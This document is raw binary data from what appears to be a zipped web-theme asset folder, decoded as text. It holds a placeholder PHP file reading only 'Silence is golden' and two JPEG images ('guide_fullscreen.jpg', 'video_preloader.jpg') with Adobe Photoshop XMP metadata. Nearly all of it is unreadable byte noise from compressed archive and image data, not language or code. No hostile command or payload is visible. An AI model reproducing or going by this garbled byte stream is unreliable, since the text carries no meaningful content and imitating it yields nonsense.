TVZ��J�-���]N�-�=����/Kmp�y�ws���6�����I���-�8�Ӂm�8�Ӂm�8�Ӂm�8�Ӂm�8�Ӂm�8�Ӂm�3����x<����x<����x<����x<����x<����x<����x<��7�	o���KMǧ��J;�6���OP��+p��Z����v�׫��F��n==Nӻ�	N�-��ɵ�����OU+w��k�6���N��0T���������������������������������������������������������������������&����=d��VIY%d��VIY%d��VIY%d��B9�i:p,�8N�'N���Ӂd�t�Y:p,�8N��1Ȭ��J�+$���J�+$���J�+$���J�+$���J�+$���J�+$���J�!��:~Y�z�:z�:~Y�z�:z�:~X�2�J)(����J)(����J)(����J)(����J)(����J)(����J)(��2�$��fL��G#���r9�G#���r9�G$��_A'OCs�[}�=
�Im�t�Y:p,�8N�'N���Ӂd�t�Y:p,�8N�'JՔ���p8���p8���p8���p8���p8���p8���瓦v�	'L�8N��p$�3��I:gi��t�Ӂ$靧I�fQIE%�RQIE%�RQIE%�RQIE%�RQIE%�RQIE%�RQIE%�RQIE%�RQIE%�RQIE%�RQIE%�RQIE%�RQIE%�RQIE%�RQIE%�RQIE%�RQIE%�RB����=%�RQIE%�RQIE%�RQIE%�F`i��,�Xn�7V���Ձf�u`Y��,�Xn��̤���J)(����J)(����J)(����J)(����J)(����J)(����J#�ɺ�YZ�������YZ�������XG"���*������*������*������*������*������*������*��s�&��e�����q��n7���q��n7����~?A7WCo�\}�]
�Iq�u`Y��,�Xn�7V���Ձf�u`Y��,�Xn�7RS�[���q��n7���q��n7���q��n7���q��n7���q��n7���q��n7���q��盪V�	7T�Xn�Z�$�R�`I��j��uJՁ&ꕫM��UQUEUTUQUEUTUQUEUTUQUEUTUQUEUTUQUEUTUQUEUTUQUEUTUQUEUTUQUEUTUQUEUTUQUEUTUQUEUTUQUEUTUQUEUTUQUEUTUQUEUTF9���?�b"""""""""9=bo��&�j""""""""""""""""""""""""""#���?�x?��?�j�)�FN'���d�2p8�N'���d�2p8�N'���d�2p8�N'��®���H��Zb�ߗ�����-W|��ޝ#�=р�@|�>P(����@|�>P(����@|�>P(����@|�>P8���\[��=����O�ե����.Kyr[˒�\��䷗%��-��o.Kyr[˒�\��䷗%��-��o.Kyr[˒�'����v@�_~d| q+K�~�&_���x�q+L�~�&_��²�
�L}b��i�5��w�$Q�1>�W�:�������Ç8p�Çm���'Q����d�2u:��FN�'Q�����%�����f��Y�8�jN%���f��Y�8�jN%���f��Y�8�jN%���f��Y�8�jN%���f��Y�8�jN%���f��Y�8�jN%���f��Y�8��͇
��
1=�O�c�g|��b{l����L�l4/5<Y~�{�,�9>��=�3r�´�D�Jp/R�ԧ�)��Jp/R�ԧ�)��Jp/R�ԧ�)��Jp/R�ԧ�)��Jp/R�ԧ�)��Jp/R�ԧ�)��Jp/R�ԧ9���Z�c�C29�G��I����W�Y�2�����:g�}?��շ�o�a�Q�usE�QG1�Q�usE�QG1�Q�usE�QG1�Q�usE�QG1�Q�usE�_�}O��ճ�g�n��	Lc���y�qy�3/�G32;c�:��?���㢧5I���d��|��D�?��u:��FN�'Q����d�2u:��FN�$��v
�ٍ�ٍ�ٍ�ٍ�ٍ�ٍ�ٍ�ٍ�ٍ�ٍ�ٍ�ٍ�ٍ�ٍ�ٍ�ٍ�ٍ�ٍ�ٍ�ٍ�ٍ�ٍ�ٍ�ٍ�ٍ�ٍ���������Gg��+I�=�sa<���b~A������脊Ҿ��^]}��3#-ә�~��A�;��Z\|����I��6G�hѣF�4hѣF�4hѣF�4hѣF�4hѣF�4hѣF�4hѣF�4hѣF�4hѣM��?��?!еUUT�_������D�mϨ�AL��2
d�)�S �AL��2
d�)�S �AL��2
d�)�S �AL��So�>���]�(��R���p,�X߃�8���D��˨�L�0
`�)�S�L�0
`�)�S�L�0
`�)�S�L��S�.�bm���&�֧.-��]�v�p�DDDDDDDDE܇JmK���f6q�wwي��r��"`�1^�������z5Nð�;ð�;ð�;ð�;ð�;ð�;ð�;ð�;ð�;ð�;ð�;ð�;ð�;ó����Ϯ���o����(~F�9�_�A��c�C�U��ۻ1��BS���cS�t-UUUUUUUUUUUUUUUUS5?p�>�(ρF|
3�Q���g��>�(ρF|
3�Q���g��%�4�}
2_CL���%�4�}
2_CL���%�4�}
2_�s��{5h�~oFٸȢ�(��(��(��(��(��(����s��V�sj���L���E2_�qEO���v��sř/���W-��j?'�l�dQEQEQEQEQEQEQE��lգQ�5f�˽~'v����]����-�fK�Y9��)�3333333333?��xC5f��r�Fʊ1��qɺ3~���̴P>�ޟ��2_CfL���%�4�}
2_CL���%�4�}
2_CL���%�4�}
2_CL�9c�}�	��'�O��A>�}�	��'�O��A>�}�	��'�O��A>�}�	��'�O��A>�}�	��'�O��A>�}�	��'�O��A>�}�	��'�O��.D�г%Ȓ�d�[�|�����S%Ȓ�O9iU*Pq+��(w�\ن۹�jzի�Q2\�-�=:���;*1Tow~������d�[�w�I���~n���fK�%�,�q��]�
;�Q�"��wȣ�E�(�G|�;�Q�"��wȣ�E�(�G|�;�Q�"��wȣ�E�(�G|�;�Q�"��wȣ�E�(�G|�;�Q�"��wȣ�E�(�G|�;�Q�"��wȣ�E�(�G|�;�Q�"��wȣ�E�(�G|�;�Q�"��wȣ�E�(�G|�;�Q�"��w��n�ُ��?!��OrK�\��$�%�.IrK�\��$�#l�m��]
���m��Cl.�au�����]t6�롶]
���m���6ʾ��.�vK�]��d�%�.�vK�]��d�%�.�vK�]��d�%�.�vF�Vی�]6���l��f��W^3eu�6_��(�d�%�,�fK2Y�̖d�%�,�fK2Y�̖d�%�,�fK2Y�̖d�%�en3au�nU����Њ��Њ��Њ��Њ��Њ��Њ��Њ��Њ��Њ��*S���O������au��8O���l.�au�����]t6�롶]
���m��Cl.�au�����]t6��s!U�_�U�_�U�_�U�_�U�_�U�_�U�_�U�_�U�_�U�_�U�_�U�_�U�_�U�_�U�_�U�_�U�_�U�_�U�_�U�_�U�_�U�_�U�_�U�_�U�_�U�_�U�_�ϰ������]M��B�.���vSquл����]���]t.��n.�auebĖ$�%�,IbKX�Ė$�%�,IbKX�Ė$�%�,IbKX�Ė$�%�,IbKX�Ė$�%�,IbKX�Ė$�%�,IbKX�Ė$�%�,IbKX�Ė$�%�,IbKX�Ė$�%�ec��?!��OjPZ�����-AjPZ������M
��hm��Co.�yt��˦��]46�顷�M
��hm���>�6�-AjPZ�����-AjPZ�����-AjPZ�����-Aj�Gߌ�]?6���o.�f���N3yt�7�O��ۗ���/Az�^�����/Az�^�����/Az�^�����u_~3yt๎t�����wx;���w�������wx;���w�������wx9u��7�N�����u|p�?��]46�顷�M
��hm��Co.�yt��˦��]46�顷�M
��hm���Gw�������wx;���w�������wx;���w�������wx;���w�������wx;���w�������wx;���w�������wx;���w�������wx;�~}���]4.��m.�yt6�M��K���]
��B�.���w�Citлˠ��ۗ���/Az�^�����/Az�^�����/Az�^�����/Az�^�����/Az�^�����/Az�^�����/Az�^�����/Az�^�����/@������$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�m��m��I$�I$�I$�I$�I$�I$�I$�m��m��I$�I$�I$�I$�I$�I$�I6�m��i$�I$�I$�I$�I$�I$�I$�M��m��I$�I$�I$�I$�I$�I$�I$�m��m��I$�I$�I$�I$�I$�I$�I$�m��m��I$�I$�I$�I$�I$�I$�I6�m��i$�I$�I$�I$�I$�I$�I$�M��m��I$�I$�I$�I$�I$�I$�I$�m��m��I$�I$�I$�I$�I$�I$�I$�m��m��I$�I$�I$�I$�I$�I$�I6�m��i$�I$��I$�M��m��I$�I$���m��m��m�$�I$�m��m��I$�I#m��m��m��l	$�I$�^��m��I$�HI$�I6����i$�I$�I!��m��m�	$�I$�M��m��I$�I$�K�m��m��2I$�I$�m��m��I$�I$���m��m�̒I$�I$�m��m��I$�I$�I$�I$�I$�I$�I6�m��i$�I$�I$�I$�I$�I$�I$�M��m��I$�I$�I$�I$�I$�I$�I$�m��m��I$�I$�I$�I$�I$�I$�I$�m��m��I$�I$�I$�I$�I$�I$�I6�m��i$�I$�I$�I$�I$�I$�I$�M��m��I$�I$�I$�I$�I$�I$�I$�m��m��I$�I$�I$�I$�I$�I$�I$�m��m��I$�I$�I$�I$�I$�I$�I6�m��i$�I$�I$�I$�I$�I$�I$�M��m��I$�I$�I$�I$�I$�I$�I$�m��m��I$�I$�I$�I$�I$�I$�I$�m��m��m��m��m��m��m��m��m��m��i6�m��m��m��m��m��m��m��m��M��m��m��m��m��m��m��m��m��m��m��m��j��m��m��m��m��m��m��m��m�����m��m��m��m��i6�m��m��m�|m��m��m��m��m��M��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��I$�I$�I$�I$�I$�I$�I$�I$�M�m��m��m��m��m��m��m��I$�Hv�m��m��m��m��m��m��mm��m�Ͷ�m��m��m��m��m��m��[m��m�m��m��m��m��m��m��m���m��l�m��m��m��m��m��m��m���m��6�m��m��m��m��m��m��mm��m�Ͷ�m��m��m��m��m��m��[m��m�m��m��m��m��m��m��m���m��l�m��m��m��m��m��m��m���m��6�m��m��m��m��m��m��mm��m�Ͷ�m��m��m��m��m��m��[m��m�m��m��m��m��m��m��m���m��l�m��lRI$�I$�I$�Gm��m���m��6�m��)$�I$�I$�I"�m��mm��m�Ͷ�m��I$�I$�I$�H��m��[M��m�m��m�I$�I$�I$�I��m�֞���l�m��m��$�I$�I$��m��m���m��6�m��m��I$�I$�-��m��mm&�m�Ͷ�m��l��I$�I$�m��m��[m��m�m��m��m��m��m��m��m���m��l�m��m��m��m��m��m��m���m��6�m��m��m��m��m��m��mm��m�Ͷ�m��m��m��m��m��m��[m��m�m��m��m��m��m��m��m���m��l�m��m��m��m��m��m��m���m��6�m��m��m��m��m��m��mm��m�Ͷ�m��m��m��m��m��m��[m��m�m��m��m��m��m��m��m���m��l�m��m��m��m��m��m��m���m��6�m��m��m��m��m��m��mm��m�Ͷ�m��m��m��m��m��m��[m��m���m��m��m��m��m��m���m��l��m��m��m��m��m��m��m��m��%��m��m��m��m��m��m��m��m��m��m��m��h��m��m��m��m��m�[m��m��m�����m��m��m��m��l��m��m��m��m��m��m��m��m��%��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��$�I$�I$�I$�I$�I$�I$�I$�I!��?���\���\���\���\���\���\���\���m��>gCl|Ά��
��:c�t6���m����3��>gCl|Ά������U�nfٸ��8�8�8�8�8�8㏗�sڊ����3���c�wt������7�M������P���m���8�8�8�8�8�8�8��-���Ɍ�7�r=y�^N�,>�ʛ��(��9������S�"""""""""&���
8�gvATa�h�e�}�D��������Gۇ6g}����dM����3��>gCl|Ά��
��:c�t6���m����3��>gCl|Ά���Eh*��*��*��*��*��*��*��*��*��*��*��*��*��*��*��*��*��*��*��*��*��*��*��*��*��*��*����>d����&���]��7>'�p�����c�Mω�YuzUJ�P~�T�"��a��s5;=Y��2n|O��s�s+��+
6cw~��ww������s�x��t�ٿ�wwwwz�����s�t.�̌2��c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<�c˖<��(�he�Ye�Ye�Ye���m������Ye�Ye�Z��,Q��g��������������������o�
�*���uo�[��aȧ�����g0W����ۇZ��.U���g��������������������o�
�(�rnĢڍV����4의�`��?7��9�k"}�~����������>��	e�7��g	���h�}�3rwg�'�`��n��gr�ҕ�g9%��f[�����,��,��,��!��Z�u����ffffffffffffffffffffffffff,��,����nze�kj�g�]-Y�գ�{|s��1�wRƍ�,�;�չ?�j�M��J�G493�j��^�F��S��+�yǫ��Yg�ۦ���7'#�qW9���Ye�h?1�g�sj?X��,��,��,��,��,��,��,��,��,��,��q+,��,��,��,��,��,��s�~c��W����?���
(P�B�
(P�B�
��p��&���ɶm��`&�	�m��`&�	�m��`&�	�m��r���塥�CK���-
.Z\�4�hir��塥�CK��q?F
����`*�
����`*�
����`*�
����`*�
����`*�
����`*�
����`0����r��a�M�._�,8ɲ�%��8���_!W�U�|�_!W�U�|�_!W�U�|�_!W�U�|�_!W�U�|�_!W�U�|�_!W�U�MќJ��~r໐�M�g��؇Z�[7��塀%�CK���-
.Z\�4�hir��塥�CK���-
.Z\�4�ZkL�B�DDDDDDDDDDDDDDDDDDDDDDDDDDK�\�pв�C���"8���\�p❊��\�p��r!�Bː�b�|��!7�M�|��!7�M�|��!7�M�|��!7�M�|��!7�M�|��!7�M�|��!7�M�|��!7�M�|��!7�M�|��!7�M�|��!7�M�|��!7�M�|��!7�M�|��!7�M�|��!7�M�|��!7�M�|��!7�M�LQ���?��j�*T�R�J�*T�R�J�*T�R�J�+����O�7��СB�
(P�B�
(P�B�
(P�N�G��r�J�*T�R�J�*T�R�J���~�d�#�n��]�TmO��g�Y�|��!g�Y�|��!g�Y�|��!g�Y�Q�444hhh��ѡ��CCF���

444hhh��*�g�Y�|��!g�Y�|��!g�Y�|��!g�Y�|��!g�Y�|��!g�Y�|��!g�Y�|�g�t����#C�N�dh~f�`�`,�6̀�`,�6̀�`,�6̀�`,�6̀�`,�6̀�`,�6̀�`,�6�ʻ����޷o�a>�}��	��'�O��a>�}��	��'�O��a>�}��:Sj]����	/�/��F������#CCF���

444hhh��ѡ��CCF���

4
Et�*'�O��a>�}��	��'�O��a>�}��	��'�O��a>�}��	��'�O��a>�}��	��'�O��a>�}��	��'�O��a>�}��	��'�O��a>�}��~x�'KBƁ:Z4	�б�N���t�,h��c@�-�0Y�l�f�Y�l�f�Y�l�f�Y�l�f�Y�l�f�Y�l�f�Y�l�f�Y�l�f�Y�l�f�Y�l�f�Y�l�f�Y�l�f�Y�l�f�Y�l�f�Y�l�f�Y�l�f�Y�l�f�p9W��PK�y3\�ƹ�assets/images/guide/index.phpnu�[���<?php // Silence is golden
PK�y3\�S�p*p*(assets/images/guide/guide_fullscreen.jpgnu�[������ExifII*��Ducky<��http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4c32797c-52b6-428c-825f-5f23cb5e3811" xmpMM:DocumentID="xmp.did:9B1ABF2040C111E9A20497167EB3156F" xmpMM:InstanceID="xmp.iid:9B1ABF1F40C111E9A20497167EB3156F" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5bdfa583-c4f0-3444-a164-7cb51abd2c2c" stRef:documentID="xmp.did:4c32797c-52b6-428c-825f-5f23cb5e3811"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��&Adobed�

��$*n���		





���0���P 2@p�13�45���3!��2P1�4 AQq�"@p��Br���1P0!p�a���1aP!��� AQq��@����p`��������:�H� lrX�D:|��0�Ā	b4�!@�I �0gGh8��@���+	g�<�h��
Z@�
Z@h�2`d�X�%�P4D�DH�=�� �L#�1 ��5#����x'�G�!Ǭ�~��W.�X�[�&*��܀�ܺ�4�:|:����4xz��P\3o��ҷg_��g.�z5zjT0o��x�&2`����[ �o�o���m�ղ!-V�f� �л�Ǩ��ʭ~�	��@���yoH����`��[�>#�|���d	j���:L7��c&�6�^�+vu�N�p헣Qѡg�v��@pͿ�˭3O;�������3G��*~������1\�Pc�oh��#�r���:�[���D��2��r4�^
��V��*k���"�C�z�6�=�s�ʦk�k)X����z��U5�U_Q�?�x���iT��U��Ҡ�ˇ�2FH�#$d���2FH�#$d���2FH�#$d���2Djِ��:�Τ��,�K:�Τ��,�K:�Τ��,�K:�Τ��,�K:�Τ��,�|���/*Kʒ򤼩/*Kʒ򤼩/*Kʒ򤼩/*Kʒ򤼩/*Kʒ��iW]TT�ۺ��=�s)Y�5̪c��;q��ۺ�-��"�����%�=ǯ�g�[���FT��2%�r4g�_�r��5[�~�v�\���k��߯+(cR;������Ӿ=Z.��j�v2��O�����x�"Ņu��B�j�<X�c��U?
{ۮ��w�UW�ke�3�o_�i[/��+z�3J��-����S�N�;��S�N�;��S�N�;��S�N�;��S�N�;��S�N�;��R�|��Ӱ�����.�aw3��]���fs0�����.�aw3��]���fs0�����.�aw?/�[������f�35�����nfks3[������f�35�����nfks3[������f�?M�E_�X�k�c�TT�o�,x�b�ڠk����`G�_�����N�j�� U���:�>�
:�Ԏ�
��s��7~�k{�����V�#����7��\4��v{K��ˆ�ۡ~)��P�Zon
�g7����\UX���)��W�ux�=ZTn��J|kl[űl[űl[űl[űl[űl[űl[��t��'4��sI�'4��sI�'4��sI�'4��sI�'4��s|���KI-$���KI-$���KI-$���KI-$���KI-$��z����",E����on
�n��&��C�i��ϑn�Cu�
-�1�#����7泙!I+��RB�g.Zs]w��	���T�먟W�ՂO��ӥB��Qzt�F��p\�p\�p\�p\�p\�p\����N��S�N%8��S�N%8��S�N%8��S�N%8��S�N%;��&���k��&���k��&���k��&���k��&���k�G���_����9�`	�u�Ju�~��=Iˮ�Rz�?#���?��ڟҡ���Y}���1�c�1�c�1�c�g�i����Pڟ��o��?��ӟۡ����CNo����?�d�a�f�m��+�����-[3ZZj=:�Q���ژz�О�J���u��Y4����]�OQ
�k���f���x�>[_�����_}H�k9�)�M�
o�S~��߀��7�)�M�
o�S~��߀��7�)�M�
o�S~��߀��7�)�M�F�����2<�G���C#�dy�!��2<�G���C#�dy�!��2<�G�����3��w���C;�gq�!��3��w���C;�gq�!��3��w��mYn���Z���u��[4����]�KQ��k�䫨l�N��֦�ON��cfbvf�0'��f�q�f�e�����Re1���?��{+u��Ql0��?�)�ƪ�g&w��<O-0�y�f�JcA�SFV��$�b���"3'��s|���55�O��ɝ����,آ4��Ftt�t��wͯ":>:A̘mQ�?�o&�g��fM��ѧ{�f�	��O�5'��G�s���Z.O�����?�Z$x;[-�m3Y��p��=��Ǻ8x�G����<{���tp��=��Ǻ8x�G����<{���tp��=��Ǻ8x�G����<{���tp��=й��;�M�m���bM�I�Q�7�1&�F$�(ě��x�obM�I�Q�7�1&�F$�(ě��x�obM�I�Q�7�1&�g��M´)�V�7
�Z�+B��hSp�
n�M´)�V�7
�Z�+B��hSp�
n�M´)�V�7
Ц�vń�Gt��i��N��ɶ�z=�&w��
\�j�x2{�my���ѧ|��6����.a1D$����߯h��旚a%��KY��fdzt��k#+HȌx~fY��H�0�Ɖ?�o%J�ƪ�h�>��I�0�էI%�³P�>���k�	����?!��.]V��E�Z��[��ZC��*�?	�\6�
���A�G�. �n�I�J��E��X�{�6h|�
�ぷn�?N8�~G%]�H�m�apb܍�6�l$�������Qe�U��(���8/��dDDDDDDDDDDDD\�I�9Y�5MEQD�Q5MEQD�Q5MEQD�Q5MEQD�Q5MEQD�AD�Q4MAD�Q4MAD�Q4MAD�Q4MAD�Q4Mm�	�}�a`r܅�&�� ����C�rW|��w����#�0(
��٫�I�Z8x�&�H6������M�8��g��.]R��E�C�ۡ���_)�\7�:J^Z�w"�|�s��!+t�1~F�J�΄����r�
\�o��;����!���f��Y7�b=���wX
a��r<�FM��}vA�1;lHfHI�������9@+�����v�$�Bg)���2	�'`��6M��颊(�3��?����������������LH�^��EQEQEQEQEQEQEQEQEQESc���H:�=�d��#�����)�����6���Q$�L��H ��!&��>���_��9���s��d߁��)��ݲK[���͐Y\�o��;����CK��/�/�cW�n�n�� /�]�R��4���g���?!��3.��n�s]D7d .�ˊ@�@D]3vB�Sv�
�S:���@c{�O��\p���W.8Ys"���ʁ��ʁ��ʁ��ʁ��ʁ��ʁ��ʁ��ʁ��ʁ��ʁ��ʁ��ʁ��ʙ,�����������������������������������������?�������������������������������������������$tv>�r�mـ4p�uݐ��&I[�I!|N\��̺���M�ud���?!��Ү�4��MtQ�ݜ�o	�q�G8�o	�N7g(��\[��99S��Z�%��%GW:8�r����l���F+�ъ��tb�1]��WF+�ъ��tb�1]��WF+�ъ��tb�1]��WF+�q5�K%K%K%K%K%K%K%K%K%K%K%K%K%K%K%K%K%K%K%K/�U�U�U�U�U�U�U�U�U�U�U�U�U�U�U�U�U�U�U�����~r�L���C�8ݜ�.�Q�G(�.�N7M*�N��E���$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�`��I$�I$�I$�I$�I$�I$�I$�$��$�I$�I$�I$�I$�I$�I$�I$ω'I$�I$�I$�I$�I$�I$�I$�I(bI��I$�I$�I$�I$�I$�I$�I$�M4�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�����������$�I$�I$�I$�I$�I?����������I$�I$�I$�I$�I$�NI$�I$�I$�KI$�I$�I$�I$�I$�I I$�I$�I$�I$�I$�I$�O��������I$�I$�I$�I$�I$�I$���������I$�I$�I$�I$�I$�I$�$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�i��I$�I$�I$�I$�I$�I$�I$�M$�$�I$�I$�I$�I$�I$�I$�I$��'xI$�I$�I$�I$�I$�I$�I$�I3�I�I$�I$�I$�I$�I$�I$�I$�L�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�II$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$��$�I$�I$�I$�I$�I$�I$�I%dI'jI$�I$�I$�I$�I$�I$�I$�IZ�I�I$�I$�I$�I$�I$�I$�I$���$�I$�I$�I$�I$�I$�I$�I$�U$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I)$�I$�I$�II$�I$�I$�I$�I$�JI$�I$�I$�D�I$�I$�I$�I$�I$�I$�I$�I$�J��I$�I$�I$�I$�I$�RI$�I$�H�I$�I$�I$�I$�I$�I$��I$�I$�$�I$�I$�I$�I$�I$�I%$�I$�I$�$�I$�I$�I$�I$�I$�II$�I$�I"I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�	$�I$�I$�I$�I$�I$�I$�I$I&�I$�I$�I$�I$�I$�I$�I$�JW�IڒI$�I$�I$�I$�I$�I$�I$�V�����I$�I$�I$�I$�I$�I$�I$��$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$���?�R$\Kp~��L�{tՂp�C��P�I����o{(����lA6�O�vɐ��Qy2���a��qq��88A�1q��$�&nD��A�,5�"��M��n:l[a�N�C�[��L�p"Z���g'/�M�y�<��9��0��2g=�3�<��<��<��<��<��<��<��<��<��<��&�� ���%�t�!���fq�p��a��q$�����8�I$�3y�� �&/���A�,5�� �B�
��·��\�Š~��L�$�t��;`�@Eo{�*�	��z��`1&�_��(��`�C[��� ?R� HbEĿ�Ѧ�.H�W	씲I�m��BY��	0�1rg�2#rb�L�렉� ��[�&�h�n�~LP)�}uoe��q�pz �E��i�@T[ci�T��vAE�N�̀���8%H���L�.��W�@�b�8&-ҽj݁!���Aİ��M���9}
v~��������������8r�^�?�����������������������������ΐ`Lg�½j���3n��P0\.�	�"r!�}����������8	.�<A;NBJ��;L@J���0/ �h�p�^&D�� �@o2#rf�N�降��$��[�&�h�/�~L�)���n�t����`J�=��I7}�x��K �a!��.L����?��?������t�ӧN�:t�ӧN�:t�ӧN�:���?����/���<�	���0A��T�%�s��+�I2;��`� ,�t�#��X���O�%���Q�w��e\��@�`7�����{vX`/q��OW��e�rz��k-����s�q
w��5��hQF�hQF�hQF�hQF�hQF�hQF�hQF�hQF�hQF�hQF���N��QN��QN��QN��QN��QN��QN��QN��QN��QN��� '�xZݖ��w�N�*`�q=���W���P)���+�I:;�� E�`,B�tӣ��X���@>�J�$��t�&j�P������?����O����{�V,��Ŗɓ&L�2dɓ&L�2dɓ&L�2dɓ&��:t�ӧN�:t�ӧN�:t���2dɓ&L�2dɓ&L�2d����?�F�&�Y7�<l�\�0I��-�"j�P��l_��W�����~Cn�@!W�����n���.�1�8E��s��J:#��۠�-����Y��$���g�z��K/=���Yl��Z�%�G�Q���G�Q���G�Q���G�Q���G�Q���G�Q���G�N�oZ�+>1ԣJ1ԣJ1ԣJ1ԣJ1ԣJ1ԣJ1ԣJ1ԣJ1ԣJ1ԣ_��
0У
0У
0У
0У
0У
0У
0У
0У
0У
0��2�Yۥ�6���
�S�s<��D�`�wq�#�1
��W��-��<�~n�AW��-���n�%��C�,f��t0��T!����PK�y3\t,�Q7Q7'assets/images/guide/video_preloader.jpgnu�[������ExifII*��Ducky<��http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4c32797c-52b6-428c-825f-5f23cb5e3811" xmpMM:DocumentID="xmp.did:C73B33E440C111E9A364F0119262D26A" xmpMM:InstanceID="xmp.iid:C73B33E340C111E9A364F0119262D26A" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5bdfa583-c4f0-3444-a164-7cb51abd2c2c" stRef:documentID="xmp.did:4c32797c-52b6-428c-825f-5f23cb5e3811"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��&Adobed�

�6*�7O���		





���0��� 0@P1!"235B#`p�C$4�AD
1P!AQ"2 0@`aq��BRrb�#3�p�����!1AQa 0@Pq����`p�рᐠ�����l$b�A�baX �02031��Ay�y�@37
�^XI��%�&������d b@���
�"&u�`�� �U���U�$b@*+�U���IK�9�k��H��@6ʌ��A$��bVb�a��X��@I�� d`�¢�T�1312$��p��I�RdDI@��I�1A$ bRl��O�/&�3���bkD��>z|�(	6h2R�u��&NX6� 
H�׮�|�9P۠�g^����4�$ڠA\K^I<ʼ�@��Ո&�+(�_VIT��
J�@�d�2�dw��a�R���3�8��6A	�\� ��=�ē�v��@V{Q�3�ai�W�FtQdPmey��:��e��`��\o�=b��� H�H$�I�H �	�$HH3bf+1$E�����d�H 	-P������ j�Vbo��͚�H ��S�Z̋x�35�6�Mv��$�
�Må9c\	l�E�3$���K@��� �AIQY�����@)5cV�pb�Q�` �H I�$�VbAIT��IhF F 
̓���h
��	-��EE�d�j���Z@05�+.+�<�tZ|٨��y�n�Q��x�VPQb�ZKH+A�dA$+5J��j�)���Y�j^�����$۠��<�ڗ��|�9@�($��>Խx<����@�1��K�;>b��U�L���"�un�R�^4`V� �p
ʸ
B�}m��D/��TW�,/����%��9<@�v+�|z�$���	��O�ԒO�K���&g�ϝY$���Kٕ�y�Ѱ|��0�A�H�"�k�I�z�G�l�I��iG�Pl�%��=�y ��>�,�5��YQ fILI���S:t�:}��>�O��:t���>��}��?�����ͺ������(��#H�X[�,���drn��� "O�~DE��KM�nk���rb��Ss�뒪}ܕ<�,d\�8�¬�;\��t��Y	uw��R��I��t�:}��>��>�O�e.<OU��s��HT�t
